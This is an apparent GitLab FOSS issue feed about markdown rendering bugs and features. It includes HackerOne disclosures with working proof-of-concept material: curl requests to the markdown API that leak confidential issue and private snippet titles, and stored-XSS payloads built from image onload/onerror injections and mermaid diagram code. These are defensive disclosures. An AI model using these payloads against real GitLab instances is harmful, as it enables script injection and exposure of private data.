GitLab FOSS issueshttps://gitlab.com/gitlab-org/gitlab-foss/-/issues2019-08-07T08:20:20Zhttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/51271Error 500 due to encoding issues when when attempting to access issues API2019-08-07T08:20:20ZBotError 500 due to encoding issues when when attempting to access issues APIhttps://sentry.gitlap.com/gitlab/gitlabcom/issues/511909/
```
Encoding::CompatibilityError: incompatible character encodings: ASCII-8BIT and UTF-8
banzai/renderer/common_mark/html.rb:12:in `block in code_block'
"<code#{lang_attr}>...https://sentry.gitlap.com/gitlab/gitlabcom/issues/511909/
```
Encoding::CompatibilityError: incompatible character encodings: ASCII-8BIT and UTF-8
banzai/renderer/common_mark/html.rb:12:in `block in code_block'
"<code#{lang_attr}>#{ERB::Util.html_escape(code)}</code>" \
commonmarker/renderer.rb:74:in `block'
yield
banzai/renderer/common_mark/html.rb:6:in `code_block'
block do
commonmarker/renderer.rb:40:in `render'
send(node.type, node)
commonmarker/renderer/html_renderer.rb:4:in `render'
super(node)
...
(207 additional frame(s) were not displayed)
Encoding::CompatibilityError: incompatible character encodings: ASCII-8BIT and UTF-8
```11.3Brett WalkerBrett Walkerhttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/51233Process urls with spaces in all markdown processing2020-05-25T08:13:50ZBrett WalkerProcess urls with spaces in all markdown processingCommonMark does not support spaces in urls, however some links or image paths could contain spaces, and thus break after markdown processing.
We should enable the `SpacedLinkFilter` for all markdown pipelines.CommonMark does not support spaces in urls, however some links or image paths could contain spaces, and thus break after markdown processing.
We should enable the `SpacedLinkFilter` for all markdown pipelines.11.3Brett WalkerBrett Walkerhttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/51196Wiki page attachments with space in url not rendered properly2019-08-07T08:20:24ZFrancisco Javier López (ex-Gitlab)Wiki page attachments with space in url not rendered properly`CommonMark` does not accept white spaces in URLs.
If we have an image or video attachment stored in a wiki page, and it has white spaces in its name, instead of creating an `img` or `video` tag with the content itself, it creates non ...`CommonMark` does not accept white spaces in URLs.
If we have an image or video attachment stored in a wiki page, and it has white spaces in its name, instead of creating an `img` or `video` tag with the content itself, it creates non expected tags and we can't preview it.11.3Brett WalkerBrett Walkerhttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/51194Wiki upload image with space does not render properly2018-09-07T14:10:18ZPaul Slaughterpslaughter@gitlab.comWiki upload image with space does not render properly## Description
Environment: `master` running locally.
When I edit a wiki page and upload an image that has whitespace in the name, it does not properly render the image.
![20180906_wiki_image_with_spaces](/uploads/3d0156003b347d07f2b...## Description
Environment: `master` running locally.
When I edit a wiki page and upload an image that has whitespace in the name, it does not properly render the image.
![20180906_wiki_image_with_spaces](/uploads/3d0156003b347d07f2b2b1ffe8608c64/20180906_wiki_image_with_spaces.gif)11.3Francisco Javier López (ex-Gitlab)Francisco Javier López (ex-Gitlab)https://gitlab.com/gitlab-org/gitlab-foss/-/issues/50695CE documentation is not CommonMark compliant2018-09-07T02:39:55ZBrett WalkerCE documentation is not CommonMark compliantOur current documentation in `doc` is not yet CommonMark complaint, so will render incorrectly when we move to CommonMark.Our current documentation in `doc` is not yet CommonMark complaint, so will render incorrectly when we move to CommonMark.11.3Brett WalkerBrett Walkerhttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/52009Addressable::URI::InvalidURIError: Cannot assemble URI string with ambiguous ...2019-08-07T08:19:53ZBotAddressable::URI::InvalidURIError: Cannot assemble URI string with ambiguous path: '/jstsch/testprojectexifcrash/uploads/d18213acd37...https://sentry.gitlab.net/gitlab/gitlabcom/issues/528037/
```
Addressable::URI::InvalidURIError: Cannot assemble URI string with ambiguous path: '/jstsch/testprojectexifcrash/uploads/d18213acd3732630991986120e167e3d/Landscape_8.jpg
Bu...https://sentry.gitlab.net/gitlab/gitlabcom/issues/528037/
```
Addressable::URI::InvalidURIError: Cannot assemble URI string with ambiguous path: '/jstsch/testprojectexifcrash/uploads/d18213acd3732630991986120e167e3d/Landscape_8.jpg
But here's some more unexpected text :smile:'
addressable/uri.rb:2300:in `to_s'
raise InvalidURIError,
addressable/uri.rb:811:in `initialize'
self.to_s
addressable/uri.rb:136:in `new'
return new(
addressable/uri.rb:136:in `parse'
return new(
addressable/uri.rb:580:in `encode'
uri_object = uri.kind_of?(self) ? uri : self.parse(uri)
...
(165 additional frame(s) were not displayed)
Addressable::URI::InvalidURIError: Cannot assemble URI string with ambiguous path: '/jstsch/testprojectexifcrash/uploads/d18213acd3732630991986120e167e3d/Landscape_8.jpg
But here's some more unexpected text :smile:'
```11.4Stan HuStan Huhttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/50744Confidential issue titles and private snippet titles can be read by unauthent...2019-08-07T08:20:37ZJames RitcheyConfidential issue titles and private snippet titles can be read by unauthenticated user through GFM markdown API```
Link: https://hackerone.com/reports/398813
By: @jobert
```
Details:
There is a vulnerability in the GFM markdown API that allows an attacker to read confidential issue titles and private snippet titles that the a...```
Link: https://hackerone.com/reports/398813
By: @jobert
```
Details:
There is a vulnerability in the GFM markdown API that allows an attacker to read confidential issue titles and private snippet titles that the attacker is not allowed to see. There are two scenarios:
1. At least one project is publicly accessible on the GitLab instance, which results in an attacker being able to access any confidential issue title / snippet title
2. There are no publicly accessible repositories, requiring the attacker to be authenticated. When they are authenticated, they can still access any confidential issue title or private snippet.
The root cause of this problem seems to be in the authorization check that is done in the markdown API controller (`lib/api/markdown.rb`):
```ruby
if params[:project]
project = Project.find_by_full_path(params[:project])
not_found!("Project") unless can?(current_user, :read_project, project)
context[:project] = project
else
context[:skip_project_check] = true
end
```
The only authorization check that is executed is whether the user can read the project. After that, no additional authorization check seems to be executed to make sure the user can read the (confidential) issues or private snippets.
# Proof of concept
To reproduce the vulnerability, follow the steps below.
- spin up a GitLab EE instance with the latest version (11.2.1-ee)
- sign in as a normal user and create a new, public project at `/projects/new` - let's assume its full path is `jobertabma/hello`
- in the new project, create a confidential issue with title `Secret title` - let's assume IID 1 was assigned to it
- as an unauthenticated user, execute the following command:
```
curl -H 'Content-Type: application/json' -d '{"project":"jobertabma/hello","text":"See #1","gfm":true}' 'https://gitlab.com/api/v4/markdown'
```
- The response will contain the confidential issue's title (see `title` attribute):
```json
{
"html": "<p dir=\"auto\">See <a href=\"https://gitlab.com/jobertabma/hello/issues/1\" data-original=\"#1\" data-link=\"false\" data-link-reference=\"false\" data-project=\"8069942\" data-issue=\"13665976\" data-reference-type=\"issue\" data-container=\"body\" data-placement=\"bottom\" title=\"Secret title\" class=\"gfm gfm-issue has-tooltip\">#1</a></p>"
}
```
The same works works for private snippet titles, by referencing them with `$:id`. In this case the primary key of the snippet model needs to be used, not an IID, as shown below:
```
$ curl -H 'Content-Type: application/json' -d '{"project":"jobertabma/hello","text":"See $1748062","gfm":true}' 'https://gitlab.com/api/v4/markdown'
{
"html": "<p dir=\"auto\">See <a href=\"https://gitlab.com/jobertabma/hello/snippets/1748062\" data-original=\"$1748062\" data-link=\"false\" data-link-reference=\"false\" data-project=\"8069942\" data-snippet=\"1748062\" data-reference-type=\"snippet\" data-container=\"body\" data-placement=\"bottom\" title=\"aaa\" class=\"gfm gfm-snippet has-tooltip\">$1748062</a></p>"
}
```
## Impact
Right now the vulnerability only discloses the titles of confidential issues and private snippets. This may become worse at some point in case the GFM renderer would allow an issue or snippet to be fully rendered inline.
I'm not completely understanding the bounty table in your BB policy by the way. This vulnerability seems to affect more than 50% of your customers, so perhaps it should be critical instead of high, but I leave that up to you.
This also gives an attacker access to dev.gitlab.org issues, because it has one public repository: `gitlab-com/migration`. The following command can be used:
```
$ curl -H 'Content-Type: application/json' -d '{"project":"gitlab-com/migration","text":"See cookbooks/chef-repo#1","gfm":true}' 'https://dev.gitlab.org/api/v4/markdown' | jq
{
"html": "<p dir=\"auto\">See <a href=\"https://dev.gitlab.org/cookbooks/chef-repo/issues/1\" data-original=\"cookbooks/chef-repo#1\" data-link=\"false\" data-link-reference=\"false\" data-project=\"273\" data-issue=\"1813\" data-reference-type=\"issue\" data-container=\"body\" data-placement=\"bottom\" title=\"Automatically knife master to Chef Server\" class=\"gfm gfm-issue has-tooltip\">cookbooks/chef-repo#1</a></p>"
}
```11.4https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49422Stored XSS on Issue details page2021-05-27T08:04:13ZJames RitcheyStored XSS on Issue details page```
Link: https://hackerone.com/reports/384255
By: @8ayac
```
Details:
**Summary:**
The detail page of Issue (the page that provides the content of an Issue) is vulnerable to Stored XSS.
**Description:**
The two exp...```
Link: https://hackerone.com/reports/384255
By: @8ayac
```
Details:
**Summary:**
The detail page of Issue (the page that provides the content of an Issue) is vulnerable to Stored XSS.
**Description:**
The two exploits are via the function of submittin an issue or the function of editing an issue.
This vulnerability is reproduced in `Firefox` and`Chrome`. `IE11` and`Edge` are not. I did not test the reproduction on other browsers.
## Steps To Reproduce:
1. Sign in to GitLab.
2. Click the "[+]" icon.
3. Click "New Project".
4. Fill out "Project name" form with "PoC".
5. Check the check box of "Public".
6. Click "Issues"
7. Click "New issue" button.
8. Fill out the each form as follows:
* Title: PoC
* Description: `![xss" onload=alert(1);//](a)`
9. Click "Submit issue".
Furthermore, when editing an already existing issue, you can also reproduce by entering A in the "Description" form and saving it.
## Impact
The security impact is the same as any typical Stored XSS.
Thank you!
![poc](/uploads/cc91de147f0e3416da759d84a5aa1482/poc.png)11.4James RitcheyJames Ritchey2018-11-01https://gitlab.com/gitlab-org/gitlab-foss/-/issues/44627Add "Link" shortcut/icon in markdown editor to make it easier to add references2020-08-06T10:54:49ZThiago MunhozAdd "Link" shortcut/icon in markdown editor to make it easier to add references### Description
Currently, the embedded markdown editor (for issues, wiki pages etc.) shows something like this:
![gitlab](/uploads/b18d358014a8604f0d7cae6be70bc04f/gitlab.png)
Sometimes it is painful to create links or reference some...### Description
Currently, the embedded markdown editor (for issues, wiki pages etc.) shows something like this:
![gitlab](/uploads/b18d358014a8604f0d7cae6be70bc04f/gitlab.png)
Sometimes it is painful to create links or reference some other pages, because we need to write markdown code by hand.
One nice feature to have (similar to other systems, such as GitHub) is to have an icon in the editor dedicated to insert link code. If some words are selected, clicking the link icon will use them as the link text.
### Proposal
This functionality would work like this:
* This is the icon on editor:
![Image_3](/uploads/9e2e5a6ab4ee2b028cb973d18b72d6db/Image_3.png)
* Clicking on icon creates a markdown link:
![Image_5](/uploads/3e047627f69778246a83608c3539fba0/Image_5.png)
* When some text is selected:
![Image_6](/uploads/6c9aed785217550f751a0d445438b681/Image_6.png)
![Image_7](/uploads/22e7879d392893a3e2c2b8ef7cd0e947/Image_7.png)11.4https://gitlab.com/gitlab-org/gitlab-foss/-/issues/29788Add button to create a markdown table template in Markdown editor2019-08-07T08:40:38ZAnnabel Dunstone GrayAdd button to create a markdown table template in Markdown editorWhen I create MRs I usually use a markdown table to show the difference between 2 screenshots. To do this, you either have to write the markdown manually, or copy it from another source (I have it saved in my notes)
It would be suuuper ...When I create MRs I usually use a markdown table to show the difference between 2 screenshots. To do this, you either have to write the markdown manually, or copy it from another source (I have it saved in my notes)
It would be suuuper cool if there was a button in issue/MR templates that you could either click and it would insert the table, or you could just copy it and paste it yourself.11.4https://gitlab.com/gitlab-org/gitlab-foss/-/issues/52601Update mermaid dependency2019-08-07T08:19:41ZDimitrie HoekstraUpdate mermaid dependency### Problem to solve
We seem to refer to a private fork of mermaid. This does not allow us to enjoy updates to mermaid
https://gitlab.com/gitlab-org/gitlab-ce/blob/master/package.json#L32
> `"[blackst0ne-mermaid](https://npmjs.com/pac...### Problem to solve
We seem to refer to a private fork of mermaid. This does not allow us to enjoy updates to mermaid
https://gitlab.com/gitlab-org/gitlab-ce/blob/master/package.json#L32
> `"[blackst0ne-mermaid](https://npmjs.com/package/blackst0ne-mermaid)": "^7.1.0-fixed",`
### Further details
This feature was implemented with https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/15107 by @blackst0ne @DouweM
Newer versions of mermaid support for example: `axisFormat %m/%d/%Y` for Gantt charts
### Proposal
Update mermaid to main repository https://www.npmjs.com/package/mermaid with 8.0.0-rc.8
### What does success look like, and how can we measure that?
We are able to enjoy features such as `axisFormat %m/%d/%Y` for Gantt charts
### Links / references
- https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/15107
- https://gitlab.com/gitlab-org/gitlab-ce/blob/master/package.json#L32
- https://www.npmjs.com/package/mermaid
- https://npmjs.com/package/blackst0ne-mermaid11.5blackst0neblackst0ne.ru@gmail.comblackst0neblackst0ne.ru@gmail.comhttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/50105Mermaid md not supporting latest sequence diagram capabilities2019-08-07T08:21:02ZSergio E MartinezMermaid md not supporting latest sequence diagram capabilities### Summary
Current rendering of mermaid sequence diagram **CANNOT** support multiple `else if` type of `alt` routes as supported with the latest mermaid library.
### Steps to reproduce
This does not render in gitlab:
```mermaid
%% **N...### Summary
Current rendering of mermaid sequence diagram **CANNOT** support multiple `else if` type of `alt` routes as supported with the latest mermaid library.
### Steps to reproduce
This does not render in gitlab:
```mermaid
%% **NOTE**: Alt's in gitlab cannot support more than 2 paths
sequenceDiagram
participant A as Alice
participant J as John
A->>J: Hello John, how are you?
loop Healthcheck
J->>J: Fight against hypochondria
end
Note right of J: Rational thoughts <br/>prevail...
alt is sick?
J->>J: Drink the medicine
else is moody?
J->>J: Keep smiling!
else is sad?
J->>: Eat chocolate!
end
opt no one is home
J-->>J: check VM on return
end
```
BUT it does in [mermaid live editor](https://mermaidjs.github.io/mermaid-live-editor/#/edit/eyJjb2RlIjoic2VxdWVuY2VEaWFncmFtXG4gICAgcGFydGljaXBhbnQgQSBhcyBBbGljZVxuICAgIHBhcnRpY2lwYW50IEogYXMgSm9oblxuICAgIFxuICAgIEEtPj5KOiBIZWxsbyBKb2huLCBob3cgYXJlIHlvdT9cbiAgICBsb29wIEhlYWx0aGNoZWNrXG4gICAgICAgIEotPj5KOiBGaWdodCBhZ2FpbnN0IGh5cG9jaG9uZHJpYVxuICAgIGVuZFxuICAgIE5vdGUgcmlnaHQgb2YgSjogUmF0aW9uYWwgdGhvdWdodHMgPGJyLz5wcmV2YWlsLi4uXG4gICAgYWx0IGlzIHNpY2s_XG4gICAgICAgIEotPj5KOiBEcmluayB0aGUgbWVkaWNpbmVcbiAgICBlbHNlIGlzIG1vb2R5P1xuICAgICAgICBKLT4-SjogS2VlcCBzbWlsaW5nIVxuICAgIGVsc2UgaXMgc2FkP1xuICAgICAgICBKLT4-SjogRWF0IGNob2NvbGF0ZSFcbiAgICBlbmRcbiAgICBvcHQgbm8gb25lIGlzIGhvbWVcbiAgICAgICAgSi0tPj5KOiBjaGVjayBWTSBvbiByZXR1cm5cbiAgICBlbmRcbiAgICBKLS0-PkE6IEdyZWF0ISBhcm91bmQiLCJtZXJtYWlkIjp7InRoZW1lIjoiZGVmYXVsdCJ9fQ):
### Example Project
Shown in above
### What is the current *bug* behavior?
See the black rendering above
### What is the expected *correct* behavior?
Follow [this link](https://mermaidjs.github.io/mermaid-live-editor/#/edit/eyJjb2RlIjoic2VxdWVuY2VEaWFncmFtXG4gICAgcGFydGljaXBhbnQgQSBhcyBBbGljZVxuICAgIHBhcnRpY2lwYW50IEogYXMgSm9oblxuICAgIFxuICAgIEEtPj5KOiBIZWxsbyBKb2huLCBob3cgYXJlIHlvdT9cbiAgICBsb29wIEhlYWx0aGNoZWNrXG4gICAgICAgIEotPj5KOiBGaWdodCBhZ2FpbnN0IGh5cG9jaG9uZHJpYVxuICAgIGVuZFxuICAgIE5vdGUgcmlnaHQgb2YgSjogUmF0aW9uYWwgdGhvdWdodHMgPGJyLz5wcmV2YWlsLi4uXG4gICAgYWx0IGlzIHNpY2s_XG4gICAgICAgIEotPj5KOiBEcmluayB0aGUgbWVkaWNpbmVcbiAgICBlbHNlIGlzIG1vb2R5P1xuICAgICAgICBKLT4-SjogS2VlcCBzbWlsaW5nIVxuICAgIGVsc2UgaXMgc2FkP1xuICAgICAgICBKLT4-SjogRWF0IGNob2NvbGF0ZSFcbiAgICBlbmRcbiAgICBvcHQgbm8gb25lIGlzIGhvbWVcbiAgICAgICAgSi0tPj5KOiBjaGVjayBWTSBvbiByZXR1cm5cbiAgICBlbmRcbiAgICBKLS0-PkE6IEdyZWF0ISBhcm91bmQiLCJtZXJtYWlkIjp7InRoZW1lIjoiZGVmYXVsdCJ9fQ)
### Relevant logs and/or screenshots
### Output of checks
This bug happens on **GitLab.com**
### Possible fixes
Update gitlab.com to latest library version of https://mermaidjs.github.io11.5blackst0neblackst0ne.ru@gmail.comblackst0neblackst0ne.ru@gmail.comhttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/49591Use cached rendered readme when fetching project readme on home page2019-08-07T08:02:39ZSean McGivernUse cached rendered readme when fetching project readme on home pageFrom https://gitlab.com/gitlab-org/gitlab-ce/issues/49409#note_89283811:
>>>
The project home page also uses the async blob viewer. I tested this using the tree and readme view (default), as well as the readme-only view. In both cases i...From https://gitlab.com/gitlab-org/gitlab-ce/issues/49409#note_89283811:
>>>
The project home page also uses the async blob viewer. I tested this using the tree and readme view (default), as well as the readme-only view. In both cases it made a request to https://gitlab.com/gitlab-org/gitlab-ce/blob/master/README.md?format=json&viewer=rich, which does not go through `ReadmeBlob` at all, I think?
We started caching the rendered readme in https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/8838 (9.2).
Then it looks like we changed how those are fetched to be a more 'generic' path in https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/11191 (9.3), and so lost the ability to use the cached readme.
>>>
@DouweM @jramsay this would be a nice performance improvement for ~Create, as we already cache this (we just don't use the cached content). Alternatively, we could stop caching it.11.5Nick ThomasNick Thomashttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/43969Use images to show how GFM is rendered in markdown.md2018-11-29T13:56:32ZAchilleas PipinellisUse images to show how GFM is rendered in markdown.mdSince we cannot use GitLab Flavored Markdown (GFM) outside of GitLab, the docs site doesn't render it correctly https://docs.gitlab.com/ee/user/markdown.html#gitlab-flavored-markdown-gfm.
Although I've put notes to each and every GFM fe...Since we cannot use GitLab Flavored Markdown (GFM) outside of GitLab, the docs site doesn't render it correctly https://docs.gitlab.com/ee/user/markdown.html#gitlab-flavored-markdown-gfm.
Although I've put notes to each and every GFM feature, users seem to not notice them. There have been at least 3-4 issues opened the last couple of months about this.
Since the GFM is unlikely to be extracted and be able to be used outside of GitLab, the next best thing we can do is replace all GFM rendered content into images in markdown.md.11.5https://gitlab.com/gitlab-org/gitlab-foss/-/issues/18933Make index.md render like README.md when it's present in a repository2023-11-19T21:02:22ZAchilleas PipinellisMake index.md render like README.md when it's present in a repositoryFirstly, this this would help in better maintenance of both `/help` and docs.gitlab.com. Now, when the doc site is built,we link to the README.html which feels a little awkward, for example http://docs.gitlab.com/ce/api/README.html.
If ...Firstly, this this would help in better maintenance of both `/help` and docs.gitlab.com. Now, when the doc site is built,we link to the README.html which feels a little awkward, for example http://docs.gitlab.com/ce/api/README.html.
If we could render `index.md` like `README.md` then we would have a 2-way profit:
- When visiting https://gitlab.com/gitlab-org/gitlab-ce/tree/master/doc/api the page would still render the contents of `index.md`
- Static generators would create easily `index.html` files from the relevant `index.md`
The main point is clean URLs.
The only point we need to pay attention is not to break existing functionality and decide what will be first rendered if both an `index.md` and a `README.md` are present in a directory.
We no longer allow `README.md`s in the docs so that we have clean URLs in the docs site. While this is useful for us, someone that uses the project to quickly visit a document, has to explicitly click on `index.md` as it's not automatically rendered by GitLab https://gitlab.com/gitlab-com/gitlab-docs/issues/228#note_111910629.11.5Achilleas PipinellisJakub JirutkaAchilleas Pipinellishttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/55190Markdown preview and comment render different bullet point types2019-05-14T12:58:01ZAndreas KämmerleMarkdown preview and comment render different bullet point types### Summary
Markdown preview and comment show different bullet point types in unordered lists, see screenshot.
![md-preview](/uploads/796cb931f825830afa7da4360e84f43b/md-preview.png)
### What is the expected *correct* behavior?
Markd...### Summary
Markdown preview and comment show different bullet point types in unordered lists, see screenshot.
![md-preview](/uploads/796cb931f825830afa7da4360e84f43b/md-preview.png)
### What is the expected *correct* behavior?
Markdown preview and comment styling should be identical.11.6Inactive AccountInactive Accounthttps://gitlab.com/gitlab-org/gitlab-foss/-/issues/54231XSS in Gitlab Flavored Markdown due to mermaid2019-08-14T11:22:48ZGitLab SecurityBotXSS in Gitlab Flavored Markdown due to mermaid**[HackerOne report #446236](https://hackerone.com/reports/446236)** by manfp on 2018-11-17:
Inserting the following (in the final line, remove the space in "\` ``" on the last line, a plain text copy is attached):
```
```mermaid
graph ...**[HackerOne report #446236](https://hackerone.com/reports/446236)** by manfp on 2018-11-17:
Inserting the following (in the final line, remove the space in "\` ``" on the last line, a plain text copy is attached):
```
```mermaid
graph TD
A["<img src=invalid onerror=alert('XSS')></img>"]
` ``
```
into any markdown document in GitLab (such as a README.md or snippet comments) triggers a cross-site scripting vulnerability. As the bug seems to be in the mermaid, I simultaneously contacted the npm package maintainers about this.
## Impact
Stored XSS that is executed upon opening a project or snippet owned by the attacker
## Attachments
**Warning:** Attachments received through HackerOne, please exercise caution!
* [xss.md](https://h1.sec.gitlab.net/a/446236/376738/xss.md)11.6Inactive AccountInactive Account2018-12-23https://gitlab.com/gitlab-org/gitlab-foss/-/issues/52444Exposure of Private Project's Confidential Issues' title and Namespace in Com...2019-09-05T22:12:27ZAlexander DietrichExposure of Private Project's Confidential Issues' title and Namespace in Commit Message**[HackerOne report #421305](https://hackerone.com/reports/421305)** by ngalog on 2018-10-09:
**Summary:**
Private namespace and confidentials issue's title should be protected from unauthorised user, however it could be leaked by cros...**[HackerOne report #421305](https://hackerone.com/reports/421305)** by ngalog on 2018-10-09:
**Summary:**
Private namespace and confidentials issue's title should be protected from unauthorised user, however it could be leaked by cross linking issues from commit messages.
##PoC
Visit https://gitlab.com/golduserngalog/securitything/commits/master
When you hover the cursor to newpathhereds/testproject#1 , you will see `create some file please` on the screen
The private name space `newpathhereds/testproject#1` and title of the confidential issue `create some file please` is leaked.
## Steps To Reproduce:
Create a commit, and in commit message paste a link of a confidential message inside a private project that you are authorised to view
Now visit the commit page like `https://gitlab.com/:project_namespace/commits/master `, now you will be able to see the title of the confidential issue and the private namespace of the project.
![exposedCI.PNG](https://h1.sec.gitlab.net/a/421305/357669/exposedCI.PNG)
## Impact
Exposure of Private Project's Confidential Issues' title and Namespace in Commit Message
## Attachments
**Warning:** Attachments received through HackerOne, please exercise caution!
* [exposedCI.PNG](https://h1.sec.gitlab.net/a/421305/357669/exposedCI.PNG)
## Dev MR
https://dev.gitlab.org/gitlab/gitlabhq/issues/273011.6https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45906Stored XSS in any Markdown field due to Mermaid2021-07-23T16:40:02ZJames RitcheyStored XSS in any Markdown field due to Mermaid```
Link: https://hackerone.com/reports/341689
By: @fransrosen
```
Details:
Hi,
I read that Gitlab had enabled Mermaid and started to test it a bit.
I noticed that the following Markdown in Gitlab:
```
```mermaid...```
Link: https://hackerone.com/reports/341689
By: @fransrosen
```
Details:
Hi,
I read that Gitlab had enabled Mermaid and started to test it a bit.
I noticed that the following Markdown in Gitlab:
```
```mermaid
graph LR
B-->D(<img onerror=location=`javascript\u003aalert\u0028document.domain\u0029` src=x>);
```
```
Will end up in the following output:
```html
<foreignObject width="0" height="12"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; white-space: nowrap;"><img onerror="location=`javascript\u003aalert\u0028document.domain\u0029`" src="x"></div></foreignObject>
```
Which will trigger the javascript on every page this is supported:
![Screen_Shot_2018-04-22_at_00.52.38](/uploads/4d597796a407a019fba710c5d7f0b89c/Screen_Shot_2018-04-22_at_00.52.38.png)
## Impact
This is a pretty bad issue, since this creates a stored XSS on every place the markdown comments are possible, which is almost everywhere in Gitlab. I would suggest you to disable this, or make sure it's not possible to inject HTML using Mermaid.
Regards,
Frans
The hacker selected the **Cross-site Scripting (XSS) - Stored** weakness. This vulnerability type requires contextual information from the hacker. They provided the following answers:
**URL**
http://gitlab-instance-every-markdown-field.localhost
**Verified**
Yes
Timeline:
2018-04-21 23:01:40 +0000: @fransrosen (comment)
Here's a similar payload but using Mermaid-escaped `()`:
```
```mermaid
graph LR
id1["<img src=x onerror=alert#lpar;document.domain#rpar;>"]
```
```
---11.6https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53907Improve Milestone links2019-08-07T08:28:50ZDimitrie HoekstraImprove Milestone links### Problem to solve
Currently, when mentioning a milestone link it displays as any other link (%"10.4"). This is different compared to for example a user/issue/mr mention.
### Further details
-
### Solution
Display milestone link...### Problem to solve
Currently, when mentioning a milestone link it displays as any other link (%"10.4"). This is different compared to for example a user/issue/mr mention.
### Further details
-
### Solution
Display milestone links like [%10.4](https://gitlab.com/groups/gitlab-org/-/milestones/4)
### What does success look like, and how can we measure that?
Milestone links are distinguishable from any other link
### Links / references11.7Pedro Moreira da SilvaHeinrich Lee Yuheinrich@gitlab.comPedro Moreira da Silva